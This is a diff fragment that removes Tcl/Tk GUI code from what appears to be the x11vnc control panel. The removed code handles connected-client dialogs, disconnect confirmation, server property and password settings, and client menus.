- } elseif {[regexp {^http_url:(.*)$} $item m0 m1]} {
- set_vnc_url $m1
- set got_url 1
- }
- }
- if {! $got_x11} {
- no_x11_display
- }
- if {! $got_vnc} {
- no_vnc_display
- }
- if {! $got_url} {
- no_vnc_url
- }
-}
-
-proc client_dialog {client} {
- set cid ""
- set host ""
- set ip ""
- global menu_var text_area cleanup_window item_bool
-
- #<id>:<ip>:<port>:<user>:<unix>:<hostname>:<input>:<loginview>:<time>
- append_text "\nClient info string:\n - $client\n\n"
- if {[regexp {^(.*):(.*):(.*):(.*):(.*):(.*):(.*):(.*):(.*)$} \
- $client m0 m1 m2 m3 m4 m5 m6 m7 m8 m9]} {
- set cid $m1
- set ip $m2
- set port $m3
- set user $m4
- set unix $m5
- set host $m6
- regsub {\..*$} $host "" host
- set input $m7
- set logvo $m8
- set ltime $m9
- append_text "Host: $host, Port: $port, User: $user"
- if {$unix != "" && $unix != "none"} {
- append_text ", Unix: $unix"
- }
- append_text ", IP: $ip, Id: $cid\n"
- append_text " - originally logged in as: "
- if {$logvo == "1" } {
- append_text "View-Only Client"
- } else {
- append_text "Normal Client"
- }
- if {$ltime != ""} {
- set tim [clock format $ltime]
- append_text ", $tim"
- }
- append_text "\n"
- append_text " - currently allowed input: "
- set sk 0
- set sm 0
- set sb 0
- set sc 0
- set sf 0
- if {[regexp -nocase {K} $input]} {
- append_text "Keystrokes"
- set sk 1
- }
- if {[regexp -nocase {M} $input]} {
- if {$sk} {
- append_text ", "
- }
- append_text "Mouse-Motion"
- set sm 1
- }
- if {[regexp -nocase {B} $input]} {
- if {$sk || $sm} {
- append_text ", "
- }
- append_text "Button-Click"
- set sb 1
- }
- if {[regexp -nocase {C} $input]} {
- if {$sk || $sm || $sb} {
- append_text ", "
- }
- append_text "Clipboard"
- set sm 1
- }
- if {[regexp -nocase {F} $input]} {
- if {$sk || $sm || $sb || $sf} {
- append_text ", "
- }
- append_text "Files"
- set sf 1
- }
- if {! $sk && ! $sm && ! $sb && ! $sm && ! $sf} {
- append_text "None"
- }
- append_text "\n"
- }
- if {$cid == ""} {
- append_text "Invalid client info string: $client\n"
- return
- }
-
- regsub -all {_} $input "" input
- set menu_var(client) "$input"
- set item_bool(client) 0
-
- insert_client_action_window $input
- set rc [entry_dialog client 1]
-
- cleanup_text_window
-
- set val $menu_var(client)
- #puts "rc: $rc val: $val"
-
- if {! $rc} {
- return;
- } elseif {[regexp -nocase {(disconnect|close)} $val]} {
- disconnect_dialog $client
- } else {
- regsub -all -nocase {[^KMBCF]} $val "" val
- set item_bool(client_input) 0
- push_new_value "client_input" "client_input" "$cid:$val" 0
- }
-}
-
-proc disconnect_dialog {client} {
- set cid ""
- set host ""
- set msg "\n"
- append msg "*** Client info string:\n $client\n"
- if {[regexp {^(.*):(.*):(.*):(.*):(.*):(.*):(.*):(.*):(.*)$} \
- $client m0 m1 m2 m3 m4 m5 m6 m7 m8 m9]} {
- set cid $m1
- set ip $m2
- set port $m3
- set user $m4
- set unix $m5
- set host $m6
- regsub {\..*$} $host "" host
- set input $m7
- set logvo $m8
- set ltime $m9
- append_text "Host: $host, Port: $port, IP: $ip, User: $user"
- if {$unix != "" && $unix != "none"} {
- append_text ", Unix: $unix"
- }
- append_text ", Id: $cid\n"
- }
- if {$cid == ""} {
- append_text "Invalid client info string: $client\n"
- return
- }
- append msg "*** To *DISCONNECT* this client press \"OK\" again, otherwise press \"Cancel\"\n"
- bell
- if {[warning_dialog $msg "current"]} {
- push_new_value "disconnect" "disconnect" $cid 1
- } else {
- append_text "disconnect cancelled.\n"
- }
-}
-
-proc update_clients_and_repost {} {
- global item_cascade menu_m menu_b
-
- append_text "Refreshing connected clients list... "
- query_all 1
- update
-
- set saw 0
- set casc $item_cascade(current)
- set last [$casc index end]
- for {set i 0} {$i <= $last} {incr i} {
- if {[$casc type $i] == "separator"} {
- continue
- }
- set name [$casc entrycget $i -label]
- if {[regexp {^num-clients} $name]} {
- continue
- }
- if {[regexp {^refresh-list} $name]} {
- continue
- }
- if {! $saw} {
- append_text "\n"
- }
- set saw 1
- append_text "client: $name\n"
- }
- if {! $saw} {
- append_text "done.\n"
- }
-}
-
-proc update_clients_menu {list} {
- global item_cascade ffont
- global saved_clients_str
-
- if {![info exists saved_clients_str]} {
- set saved_clients_str ""
- }
- if {$list == "INIT"} {
- set list $saved_clients_str
- } else {
- set saved_clients_str $list
- }
-
- set subm $item_cascade(current);
- catch {destroy $subm}
- menu $subm -tearoff 0 -font $ffont
- $subm add command
- $subm add command -label "refresh-list" \
- -command "update_clients_and_repost"
- $subm add separator
- set count 0
- foreach client [split $list ","] {
- if {![regexp {^[a-z0-9]*[a-z0-9]:} $client]} {
- #append_text "Skipping client line: "
- #append_text $client
- #append_text "\n"
- continue
- }
- regsub -all {[{}()~!$&*|;'"`{}<>\[\]]} $client "" client
- #'
- if {[regexp {^(.*):(.*):(.*):(.*):(.*):(.*):(.*):(.*):(.*)$} \
- $client m0 m1 m2 m3 m4 m5 m6 m7 m8 m9]} {
- set id $m1
- set user $m4
- set unix $m5
- set host $m6
- regsub {\..*$} $host "" host
- set clabel "$host $id"
- if {$unix != "" && $unix != "none"} {
- set clabel "$unix@$clabel"
- } elseif {$user != "unknown-user"} {
- set clabel "$user@$clabel"
- }
- } else {
- regsub {:.*$} $client "" clabel
- }
- $subm add command -label "$clabel" \
- -command "client_dialog \{$client\}"
- incr count
- }
- $subm entryconfigure 0 -label "num-clients: $count"
-}
-
-proc set_widgets {} {
- global connected_to_x11vnc item_case item_menu item_entry menu_m
-
- foreach item [array names item_case] {
- if ![info exists item_case($item)] { continue; }
- set case $item_case($item)
- if ![info exists item_menu($item)] { continue; }
- set menu $item_menu($item)
- if ![info exists item_entry($item)] { continue; }
- set entry $item_entry($item)
- if {$entry < 0} {
- # skip case under beginner_mode
- continue
- }
- set type [$menu type $entry]
- if {$type == "separator" || $type == "tearoff"} {
- continue
- }
- if {![winfo exists $menu]} {
- continue
- }
- if {$connected_to_x11vnc} {
- if {[active_when_connected $item]} {
- $menu entryconfigure $entry -state normal
- } else {
- $menu entryconfigure $entry -state disabled
- }
- } else {
- if {[active_when_starting $item]} {
- $menu entryconfigure $entry -state normal
- } else {
- $menu entryconfigure $entry -state disabled
- }
- }
- }
-}
-
-proc toggle_simple_gui {} {
- global beginner_mode simple_gui_created
- global connected_to_x11vnc make_gui_count
-
- if {$beginner_mode} {
- append_text "\nSwitching to simple-gui mode.\n"
- } else {
- append_text "\nSwitching to power-user gui mode.\n"
- }
-
- if {$make_gui_count == 1} {
- incr make_gui_count
- }
- set simple_gui_created 1
- make_menu_items
- set_widgets
- set_internal_help
- append_text "\n"
-}
-
-proc little_qs {m} {
- global bfont ffont beginner_mode
- global helpremote helptext helplabel
- global tk_version osname
-
- if {$tk_version < 8.0} {
- return
- }
- if {$osname == "Darwin"} {
- return
- }
-
- set n [$m index end]
-
- for {set i 0} {$i <= $n} {incr i} {
- set type [$m type $i]
-#puts "$m - $i - $type"
- if {$type == "separator"} {
- $m add separator
- } elseif {$type == "tearoff"} {
- continue;
- } else {
- set label [$m entrycget $i -label]
- set str ""
- if {[info exists helpremote($label)]} {
- set str "(?)"
- } elseif {[info exists helptext($label)]} {
- set str "(?)"
- }
- $m add command -label $str \
- -font $ffont \
- -command "menu_help $label";
-
- if {$str == ""} {
- $m entryconfigure end -state disabled
- }
- set arg "$m,$i"
-#puts "helplabel: $arg -> $label"
- set helplabel($arg) $label
- set j [$m index end]
- set arg "$m,$j"
- set helplabel($arg) $label
- }
- if {$i == 0} {
- $m entryconfigure end -columnbreak 1
- }
- }
-
- menu_bindings $m
-}
-
-proc make_menu_items {} {
- global template
- global menu_b menu_m menu_count
- global item_opts item_bool item_case item_menu item_entry menu_var unset_str
- global item_cascade
- global bfont ffont beginner_mode simple_gui_created
- global helptext helpremote helplabel
-
- # some tweaks...
- if {![info exists menu_var(deny)]} {
- set menu_var(deny) 0
- }
-
- set case "";
- set L_casc ""
- set L_casc_count 0
- set L_menus [list]
-
- # Extract the menu items:
- foreach line [split $template "\n"] {
- if {[regexp {^Row:} $line]} {
- continue
- }
- if {[regexp {^[A-z]} $line]} {
- set case [string trim $line]
-
- if {$simple_gui_created} {
- set i0 0
- #if {$case == "Misc"} { # kludge for simple_gui
- # set i0 1
- #}
- catch {$menu_m($case) delete $i0 end}
- }
- set menu_count($case) 0
- continue;
- }
-
- set item [string trim $line]
- regsub -all { *} $item " " item
- if {$item == ""} {
- continue;
- }
- set opts ""
- if {[regexp {^=} $item]} {
- set opts [lindex [split $item] 0]
- regsub {^=} $opts "" opts
- set item [lindex [split $item] 1]
- }
- if {[regexp {^0} $opts]} {
- continue;
- }
- if {[regexp {:$} $item]} {
- set bool 0
- } else {
- set bool 1
- }
- regsub {:$} $item {} item
-
- if {$item == "LOFF"} {
- set L_casc ""
- continue
- }
-
- if {$item == "-- D"} {
- set beginner_sep 1
- set item "--"
- } else {
- set beginner_sep 0
- }
-
- set item_opts($item) $opts
- set item_case($item) $case
- set item_bool($item) $bool
- set item_cascade($item) ""
-
- if {$L_casc == ""} {
- set item_entry($item) $menu_count($case)
- set m $menu_m($case)
- } else {
- # hack for cascades for crowded menus. See =GAL opts.
- set item_entry($item) $L_casc_count
- set m $L_casc
- }
-
- set mvar 0
-
- if {$beginner_mode && ! $beginner_sep && ![opt_match D $item]} {
- set item_entry($item) "-1"
- continue;
- }
-
- set item_menu($item) $m
-
- if {0} { puts "ITEM: $item\t- $opts\t- $case\t- \
- $bool\t- $menu_count($case)" }
-
- # Create the menu items, its variables, etc., etc.
-
- if {$item == "--"} {
- $m add separator
-
- } elseif {$item == "Quit"} {
- # Quit item must shut us down:
- $m add command -label "$item" -underline 0 \
- -font $ffont \
- -command {destroy .; exit 0}
-
- } elseif {$case == "Help"} {
- # Help is simple help:
- $m add command -label "$item" \
- -font $ffont \
- -command "menu_help $item"
-
- } elseif {[opt_match L $item]} {
- # Special sub-menu cascade (=GAL ends with LOFF)
- set subm $m.casc_L$menu_count($case)
- catch {destroy $subm}
- menu $subm -tearoff 0 -font $ffont
- set item_cascade($item) $subm
- $m add cascade -label "$item" \
- -font $ffont \
- -menu $subm
- set L_casc $subm
- set L_casc_count -1
- lappend L_menus $L_casc
-
- } elseif {$item == "current"} {
- # Current clients cascade
- set subm $m.current_cascade
- catch {destroy $subm}
- set item_cascade($item) $subm
- update_clients_menu "INIT"
- $m add cascade -label "$item" \
- -font $ffont \
- -menu $subm
-
- } elseif {[is_action $item]} {
- # Action
- $m add command -label "$item" \
- -font $ffont \
- -command "do_var $item"
- if {![info exists menu_var($item)]} {
- set menu_var($item) ""; # for convenience
- }
-
- } elseif {! $item_bool($item)} {
- # String
- if {[regexp -- {-C:(.*)} $item_opts($item) m0 m1]} {
- # Radiobutton select
- set subm $m.radio_cascade$menu_count($case)
- catch {destroy $subm}
- menu $subm -tearoff 0 -font $ffont
- foreach val [split $m1 ","] {
- $subm add radiobutton -label "$val" \
- -command "do_var $item" \
- -value "$val" \
- -font $ffont \
- -variable menu_var($item)
- }
- $m add cascade -label "$item" \
- -font $ffont \
- -menu $subm
- set item_cascade($item) $subm
- } else {
- # Arbitrary_string
- $m add command -label "$item" \
- -font $ffont \
- -command "do_var $item"
- }
- set mvar 1
-
- } elseif {$item == "simple-gui"} {
- $m add checkbutton -label "$item" \
- -command "toggle_simple_gui" \
- -font $ffont \
- -variable beginner_mode
- } else {
- # Boolean
- $m add checkbutton -label "$item" \
- -command "do_var $item" \
- -font $ffont \
- -variable menu_var($item)
- if {![info exists menu_var($item)]} {
- set menu_var($item) 0
- }
- }
-
- if {$L_casc_count == -1} {
- incr menu_count($case)
- incr L_casc_count
- } elseif {$L_casc != ""} {
- incr L_casc_count
- } else {
- incr menu_count($case)
- }
-
- if {$mvar} {
- if {![info exists menu_var($item)]} {
- set menu_var($item) $unset_str
- }
- }
- }
-
- # Now make the little "(?)" help buttons
- global osname
- foreach case [array names menu_m] {
- if {$case == "Help"} {
- continue;
- }
- little_qs $menu_m($case);
- }
- foreach m $L_menus {
- little_qs $m
- }
-}
-
-proc check_update_vars {} {
- global last_query_all_time query_all_freq icon_mode
- global connected_to_x11vnc client_tail client_sock
-
- set now [clock seconds]
-
- set delay $query_all_freq
- if {$client_tail != "" && $client_sock == ""} {
- set delay [expr 2 * $query_all_freq]
- }
-
- if {$connected_to_x11vnc} {
- set quiet 0
- set refresh [expr "$last_query_all_time + $delay"]
-
- # puts "menu_posted $now $last_query_all_time"
- # puts "menu_posted $refresh"
-
- if {$now > $refresh} {
- append_text "Refreshing current settings... "
- query_all $quiet
- if {$quiet} {
- append_text "done\n"
- }
- }
- }
-}
-
-proc menu_posted {} {
- check_update_vars
-}
-
-proc props_widgets {state} {
- global props_buttons
- foreach w $props_buttons {
- $w configure -state $state
- }
- update
-}
-
-proc props_apply {} {
- global props_accept props_confirm props_viewonly props_shared
- global props_zeroconf props_javaview props_solid
- global props_passwd props_viewpasswd
- global prop0_accept prop0_confirm prop0_viewonly prop0_shared
- global prop0_zeroconf prop0_javaview prop0_solid
- global prop0_passwd prop0_viewpasswd
- global menu_var
- global client_sock
-
- props_widgets disabled
-
- set aft 500
- if {[info exists client_sock]} {
- if {$client_sock != ""} {
- set aft 150
- }
- }
- set did 0
-
- set fail 0
-
- if {$props_confirm != $prop0_confirm} {
- if {$did > 0} {after $aft}; incr did
- if {$props_confirm} {
- push_new_value "accept" "accept" "popup" 1
- } else {
- push_new_value "accept" "accept" "" 1
- }
- if {$menu_var(accept) == "popup"} {
- set props_confirm 1
- } elseif {$menu_var(accept) == ""} {
- set props_confirm 0
- }
- if {$props_confirm == $prop0_confirm} {incr fail}
- set prop0_confirm $props_confirm
- }
-
- if {$props_viewonly != $prop0_viewonly} {
- if {$did > 0} {after $aft}; incr did
- if {$props_viewonly} {
- push_new_value "viewonly" "viewonly" 1 1
- } else {
- push_new_value "viewonly" "noviewonly" 1 1
- }
- if {$menu_var(viewonly)} {
- set props_viewonly 1
- } else {
- set props_viewonly 0
- }
- if {$props_viewonly == $prop0_viewonly} {incr fail}
- set prop0_viewonly $props_viewonly
- }
-
- if {$props_shared != $prop0_shared} {
- if {$did > 0} {after $aft}; incr did
- if {$props_shared} {
- push_new_value "shared" "shared" 1 1
- } else {
- push_new_value "shared" "noshared" 1 1
- }
- if {$menu_var(shared)} {
- set props_shared 1
- } else {
- set props_shared 0
- }
- if {$props_shared == $prop0_shared} {incr fail}
- set prop0_shared $props_shared
- }
-
- if {$props_zeroconf != $prop0_zeroconf} {
- if {$did > 0} {after $aft}; incr did
- if {$props_zeroconf} {
- push_new_value "zeroconf" "zeroconf" 1 1
- } else {
- push_new_value "zeroconf" "nozeroconf" 1 1
- }
- if {$menu_var(zeroconf)} {
- set props_zeroconf 1
- } else {
- set props_zeroconf 0
- }
- if {$props_zeroconf == $prop0_zeroconf} {incr fail}
- set prop0_zeroconf $props_zeroconf
- }
-
- if {$props_javaview != $prop0_javaview} {
- if {$did > 0} {after $aft}; incr did
- if {$props_javaview} {
- push_new_value "http" "http" 1 1
- } else {
- push_new_value "http" "nohttp" 1 1
- }
- if {$menu_var(http)} {
- set props_javaview 1
- } else {
- set props_javaview 0
- }
- if {$props_javaview == $prop0_javaview} {incr fail}
- set prop0_javaview $props_javaview
- }
-
- if {$props_solid != $prop0_solid} {
- if {$did > 0} {after $aft}; incr did
- if {$props_solid} {
- push_new_value "solid" "solid" 1 1
- } else {
- push_new_value "solid" "nosolid" 1 1
- }
- if {$menu_var(solid)} {
- set props_solid 1
- } else {
- set props_solid 0
- }
- if {$props_solid == $prop0_solid} {incr fail}
- set prop0_solid $props_solid
- }
-
- set fpw 0
- if {$props_passwd != $prop0_passwd} {
- set fpw 1
- }
- set vpw 0
- if {$props_viewpasswd != $prop0_viewpasswd} {
- set vpw 1
- }
-
- set pw_ord [list]
- if {!$fpw && !$vpw } {
- # neither change
- ;
- } elseif {$fpw && !$vpw} {
- # full password change
- if {$props_passwd == ""} {
- if {$prop0_viewpasswd != ""} {
- # set view to "" as well and first
- set props_viewpasswd ""
- set pw_ord [list vpw fpw]
- } else {
- set pw_ord [list fpw]
- }
- } else {
- # assume view state OK
- set pw_ord [list fpw]
- }
-
- } elseif {!$fpw && $vpw} {
- # view password change
- if {$props_viewpasswd == ""} {
- # assume full state OK
- set pw_ord [list vpw]
- } else {
- if {$prop0_passwd == ""} {
- # could be trouble, x11vnc makes random
- # full passwd...
- set pw_ord [list vpw]
- } else {
- # OK, full non-null.
- set pw_ord [list vpw]
- }
- }
- } elseif {$fpw && $vpw} {
- # both full and view password change
- if {$props_passwd == "" && $props_viewpasswd == ""} {
- # OK, do view first
- set pw_ord [list vpw fpw]
- } elseif {$props_passwd == "" && $props_viewpasswd != ""} {
- # Not good, do view first anyway x11vnc will fix.
- set pw_ord [list vpw fpw]
- } elseif {$props_passwd != "" && $props_viewpasswd == ""} {
- # OK, view first
- set pw_ord [list vpw fpw]
- } elseif {$props_passwd != "" && $props_viewpasswd != ""} {
- # OK, full first
- set pw_ord [list fpw vpw]
- }
- }
-
- foreach case $pw_ord {
- if {$case == "fpw"} {
- if {$did > 0} {after $aft}; incr did
- push_new_value "passwd" "passwd" "$props_passwd" 1
- if {$props_passwd == $prop0_passwd} {incr fail}
- set prop0_passwd $props_passwd
- }
- if {$case == "vpw"} {
- if {$did > 0} {after $aft}; incr did
- push_new_value "viewpasswd" "viewpasswd" "$props_viewpasswd" 1
- if {$props_viewpasswd == $prop0_viewpasswd} {incr fail}
- set prop0_viewpasswd $props_viewpasswd
- }
- }
-
- if {$props_accept != $prop0_accept} {
- if {$did > 0} {after $aft}; incr did
- if {$props_accept} {
- push_new_value "unlock" "unlock" 1 0
- } else {
- push_new_value "lock" "lock" 1 0
- }
- if {$props_accept == $prop0_accept} {incr fail}
- set prop0_accept $props_accept
- }
-
- props_widgets normal
- if {$fail > 0} {
- return 0
- } else {
- return 1
- }
-}
-
-proc props_advanced {} {
- global icon_mode props_win full_win
- global props_advanced_first
-
- if ![info exists props_advanced_first] {
- center_win $full_win
- set props_advanced_first 1
- set first 1
- } else {
- set first 0
- }
- update
- wm deiconify $full_win
- update
-
- if {$first} {
- set w $full_win
- wm minsize $w [winfo width $w] [winfo height $w]
- }
- push_new_value "remote-cmd" "remote-cmd" "Q:clients" 1
-}
-
-proc do_props {} {
- global props_accept props_confirm props_viewonly props_shared
- global props_zeroconf props_javaview props_solid
- global props_passwd props_viewpasswd
- global prop0_accept prop0_confirm prop0_viewonly prop0_shared
- global prop0_zeroconf prop0_javaview prop0_solid
- global prop0_passwd prop0_viewpasswd
- global menu_var unset_str
- global have_labelframes ffont bfont
- global props_buttons icon_noadvanced
- global icon_mode icon_mode_at_startup
- global screen_height screen_width
- global do_props_msg
-
- set msg ""
- if {[info exists do_props_msg]} {
- set msg $do_props_msg
- }
-
- check_update_vars
-
- set pady 0.5m
- set pady 0.3m
- if {$screen_height <= 360} {
- set pady 0m
- }
-
- if [info exists menu_var(deny)] {
- if {$menu_var(deny) == $unset_str || $menu_var(deny) == 0} {
- set props_accept 1
- } else {
- set props_accept 0
- }
- } else {
- set menu_var(deny) 0
- set props_accept 1
- }
- set prop0_accept $props_accept
-
- if [info exists menu_var(accept)] {
- if {$menu_var(accept) == $unset_str || $menu_var(accept) == ""} {
- set props_confirm 0
- } else {
- set props_confirm 1
- }
- } else {
- set menu_var(accept) ""
- set props_confirm 0
- }
- set prop0_confirm $props_confirm
-
- if [info exists menu_var(viewonly)] {
- if {$menu_var(viewonly) == $unset_str || $menu_var(viewonly) == ""} {
- set props_viewonly 0
- } elseif ($menu_var(viewonly)) {
- set props_viewonly 1
- } else {
- set props_viewonly 0
- }
- } else {
- set menu_var(viewonly) 0
- set props_viewonly 0
- }
- set prop0_viewonly $props_viewonly
-
- if [info exists menu_var(shared)] {
- if {$menu_var(shared) == $unset_str || $menu_var(shared) == ""} {
- set props_shared 0
- } elseif ($menu_var(shared)) {
- set props_shared 1
- } else {
- set props_shared 0
- }
- } else {
- set menu_var(shared) 0
- set props_shared 0
- }
- set prop0_shared $props_shared
-
- if [info exists menu_var(zeroconf)] {
- if {$menu_var(zeroconf) == $unset_str || $menu_var(zeroconf) == ""} {
- set props_zeroconf 0
- } elseif ($menu_var(zeroconf)) {
- set props_zeroconf 1
- } else {
- set props_zeroconf 0
- }
- } else {
- set menu_var(zeroconf) 0
- set props_zeroconf 0
- }
- set prop0_zeroconf $props_zeroconf
-
- if [info exists menu_var(http)] {
- if {$menu_var(http) == $unset_str || $menu_var(http) == ""} {
- set props_javaview 0
- } elseif ($menu_var(http)) {
- set props_javaview 1
- } else {
- set props_javaview 0
- }
- } else {
- set menu_var(http) 0
- set props_javaview 0
- }
- set prop0_javaview $props_javaview
-
- if [info exists menu_var(solid)] {
- if {$menu_var(solid) == $unset_str || $menu_var(solid) == ""} {
- set props_solid 0
- } elseif ($menu_var(solid)) {
- set props_solid 1
- } else {
- set props_solid 0
- }
- } else {
- set menu_var(solid) 0
- set props_solid 0
- }
- set prop0_solid $props_solid
-
- if ![info exists props_passwd] {
- set props_passwd ""
- }
- set prop0_passwd $props_passwd
-
- if ![info exists props_viewpasswd] {
- set props_viewpasswd ""
- }
- set prop0_viewpasswd $props_viewpasswd
-
- if [info exists props_buttons] {
- catch {unset props_buttons}
- }
- set props_buttons [list]
-
- set wp .props
- set w $wp
- catch {destroy $wp}
- toplevel $wp
- wm title $wp "x11vnc Properties"
- frame $w.lf
- set w $w.lf
- set b1 "$w.buttons1"
- frame $b1
- button $b1.ok -text OK -command "if {\[props_apply\]} {destroy $wp}" -font $bfont
- button $b1.cancel -text Cancel -command "destroy $wp" -font $bfont
- button $b1.apply -text Apply -command "props_apply" -font $bfont
-
- bind $w <KeyPress-Escape> "destroy $wp"
-
- pack $b1.ok $b1.cancel $b1.apply -side left -expand 0
- lappend props_buttons $b1.apply $b1.cancel $b1.ok
-
- set b2 "$w.buttons2"
- frame $b2
-
- button $b2.advanced -text " Advanced ... " \
- -command "destroy $wp; props_advanced" -font $bfont
- if {! $icon_noadvanced} {
- lappend props_buttons $b2.advanced
- pack $b2.advanced -side left -expand 0
- }
-
- button $b2.help -text " Help " -command "menu_help Properties" -font $bfont
- lappend props_buttons $b2.help
- pack $b2.help -side left -expand 0
-
- set pw "$w.passwd"
- if {$have_labelframes} {
- labelframe $pw -text "Password" -font $bfont
- } else {
- frame $pw
- set l $pw.l
- label $l -text "Password:" -justify left -anchor w -font $bfont
- pack $pw.l -fill x -expand 1 -padx 1m -pady 0m -side top
- }
- entry $pw.e -show "*" -textvariable props_passwd -font $bfont
- pack $pw.e -fill x -expand 1 -padx 1m -pady $pady -side top
-
- global x11vnc_icon_mode
- if {! $x11vnc_icon_mode} {
- catch { $pw.e configure -state disabled}
- if {! $have_labelframes} {
- catch { $pw.l configure -state disabled}
- }
- } else {
- lappend props_buttons $pw.e
- }
-
-
- set vp "$w.viewpw"
- if {$have_labelframes} {
- labelframe $vp -text "ViewOnly Password" -font $bfont
- } else {
- frame $vp
- set l $vp.l
- label $l -text "ViewOnly Password:" -justify left -anchor w -font $bfont
- pack $vp.l -fill x -expand 1 -padx 1m -pady 0m -side top
- }
- entry $vp.e -show "*" -textvariable props_viewpasswd -font $bfont
- pack $vp.e -fill x -expand 1 -padx 1m -pady $pady -side top
-
- if {! $x11vnc_icon_mode} {
- catch { $vp.e configure -state disabled}
- if {! $have_labelframes} {
- catch { $vp.l configure -state disabled}
- }
- } else {
- lappend props_buttons $vp.e
- }
-
- if {! $icon_mode_at_startup} {
- $vp.e configure -state disabled
- catch {$vp.l configure -state disabled}
- catch {$vp configure -state disabled}
- catch {$vp configure -foreground grey60}
- $pw.e configure -state disabled
- catch {$pw.l configure -state disabled}
- catch {$pw configure -state disabled}
- catch {$pw configure -foreground grey60}
- }
-
- set sb "$w.solid"
- frame $sb
- checkbutton $sb.button -text "Solid Background Color" \
- -variable props_solid -anchor w -font $bfont
- pack $sb.button -fill x -expand 1 -padx 1m -pady $pady
-
- set jv "$w.javaview"
- frame $jv
- checkbutton $jv.button -text "Serve Java Viewer Applet" \
- -variable props_javaview -anchor w -font $bfont
- pack $jv.button -fill x -expand 1 -padx 1m -pady $pady
-
- set zc "$w.zeroconf"
- frame $zc
- checkbutton $zc.button -text "Advertise Service (Zeroconf)" \
- -variable props_zeroconf -anchor w -font $bfont
- pack $zc.button -fill x -expand 1 -padx 1m -pady $pady
-
- set sh "$w.shared"
- frame $sh
- checkbutton $sh.button -text "Shared" \
- -variable props_shared -anchor w -font $bfont
- pack $sh.button -fill x -expand 1 -padx 1m -pady $pady
-
- set vo "$w.viewonly"
- frame $vo
- checkbutton $vo.button -text "All Clients ViewOnly" \
- -variable props_viewonly -anchor w -font $bfont
- pack $vo.button -fill x -expand 1 -padx 1m -pady $pady
-
- set cf "$w.confirm"
- frame $cf
- checkbutton $cf.button -text "Ask for Confirmation" \
- -variable props_confirm -anchor w -font $bfont
- pack $cf.button -fill x -expand 1 -padx 1m -pady $pady
-
- set ac "$w.accept"
- frame $ac
- checkbutton $ac.button -text "Accept Connections" \
- -variable props_accept -anchor w -font $bfont
- pack $ac.button -fill x -expand 1 -padx 1m -pady $pady
-
- set px "6m"
- pack $b1 -side bottom -fill x -pady $pady -padx $px
- pack $b2 -side bottom -fill x -pady $pady -padx $px
- pack $vp -side bottom -fill x -pady $pady -padx $px
- pack $pw -side bottom -fill x -pady $pady -padx $px
- pack $sb -side bottom -fill x -pady 0m -padx $px
- pack $jv -side bottom -fill x -pady 0m -padx $px
- pack $zc -side bottom -fill x -pady 0m -padx $px
- pack $sh -side bottom -fill x -pady 0m -padx $px
- pack $vo -side bottom -fill x -pady 0m -padx $px
- pack $cf -side bottom -fill x -pady 0m -padx $px
- pack $ac -side bottom -fill x -pady 0m -padx $px
-
- global show_props_instructions
- if {![info exists show_props_instructions]} {
- set show_props_instructions 1
- }
-
- wm withdraw .props
-
- set wl $w
-
- pack $wl -side left
-
- if {$msg != ""} {
- set tw [textwidth $msg]
- set th [textheight $msg]
- set th [expr $th - 1]
- set ms ".props.msg"
- text $ms -font $ffont -relief ridge -width $tw -height $th
- $ms insert 1.0 $msg
-
- set si "$wl.instructions"
- frame $si
- checkbutton $si.button -text "Show Instructions" \
- -variable show_props_instructions -anchor w -font $bfont \
- -command "toggle_instructions $ms $pady $px"
-
- pack $si.button -fill x -expand 1 -padx 1m -pady $pady
- pack $si -side bottom -fill x -pady 0m -padx $px
-
- if {$show_props_instructions} {
- pack $ms -side left -fill both
- }
-
- update
- }
-
-
- lappend props_buttons $ac.button $cf.button $vo.button $sh.button $zc.button $jv.button $sb.button
-
-
- set w .props
- update
- wm resizable $w 1 0
- center_win $w
- update
-
- #wm minsize $w [winfo width $w] [winfo height $w]
-
- tkwait window $w
- set show_props_instructions 0
-}
-
-proc toggle_instructions {ms pady px} {
- global show_props_instructions
- if {$show_props_instructions} {
- pack $ms -side left -fill both
- } else {
- pack forget $ms
- }
- catch {pack .props}
- update
-}
-
-proc do_new_client {} {
- global newclient ffont bfont
-
- set w .newclient
- catch {destroy $w}
- toplevel $w
- label $w.l -text "Hostname: " -font $bfont
- set newclient ""
- entry $w.e -width 16 -textvariable newclient -font $bfont
- button $w.b -text OK -command "destroy $w" -font $bfont
- button $w.h -text Help -command "menu_help NewClient" -font $bfont
- bind $w.e <Return> "update; after 100; destroy $w"
-
- wm title $w "New Client"
-
- pack $w.l $w.e $w.h $w.b -side left -pady 1m -padx 0.5m
- focus $w.e
- center_win $w
- update
-
- tkwait window $w
-
- regsub -all {[{}()~!$&*|;'"`{}<>\[\]]} $newclient "" newclient
- #'
- if {$newclient != ""} {
- push_new_value "connect" "connect" "$newclient" 1
- }
-}
-
-proc do_disconnect_all {} {
- push_new_value "disconnect" "disconnect" "all" 1
-}
-
-proc do_disconnect_client {id} {
- push_new_value "disconnect" "disconnect" "$id" 1
-}
-
-proc popup_post {m} {
- global popup_cascade_posted client_balloon
- global client_id_list
-
- set popup_cascade_posted 0
-
- set wd "$m.disconnect"
-
- if {![winfo exists $wd]} {
- return
- }
-
- catch {$wd delete 0 end}
-
- $wd add command -label "Disconnect client:"
- $wd add separator
- $wd add command -label "All Clients" -command do_disconnect_all
-
- if {![info exists client_id_list]} {
- return
- }
-
- foreach client $client_id_list {
- if {$client == ""} {
- continue
- }
- if {[regexp {^([^:]*):(.*)$} $client mat id lab]} {
- set nid [expr "$id + 0"]
- $wd add command -label "$nid $lab" \
- -command "do_disconnect_client $id"
- }
- }
-}
-
-proc pmenu {m x y} {
- if {![winfo exists $m]} {
- return
- }
- set x [expr $x-10]
- set y [expr $y-10]
- $m post $x $y
- # XXX more care needed
- grab set -global $m
-}
-
-proc set_client_balloon {str} {
- global client_balloon vnc_display
- global client_id_list
-
- set client_id_list [list]
-
- set client_balloon "$vnc_display"
- set count 0
- regsub -all {^.*aro=clients:} $str "" str
- regsub -all {aro=.*$} $str "" str
- regsub -all {ans=.*$} $str "" str
- foreach client [split $str ","] {
- #puts "client: $client"
- if [regexp {^[ ]*$} $client] {
- continue
- }
- if {[regexp {^(.*):(.*):(.*):(.*):(.*):(.*):(.*):(.*):(.*)$} \
- $client m0 m1 m2 m3 m4 m5 m6 m7 m8 m9]} {
- set id $m1
- set nid [expr "$m1 + 0"]
- set ip $m2
- set port $m3
- set user $m4
- set unix $m5
- if {[string length $user] >= 24} {
- # weird identd hash...
- set user [string range $user 0 8]
- set user "${user}..."
- }
- if {$unix != "" && $unix != "none"} {
- set user $unix
- }
- set host $m6
- set input $m7
- set vo $m8
- set ltime $m9
- if [regexp {^[ ]*$} $host] {
- set host $ip
- }
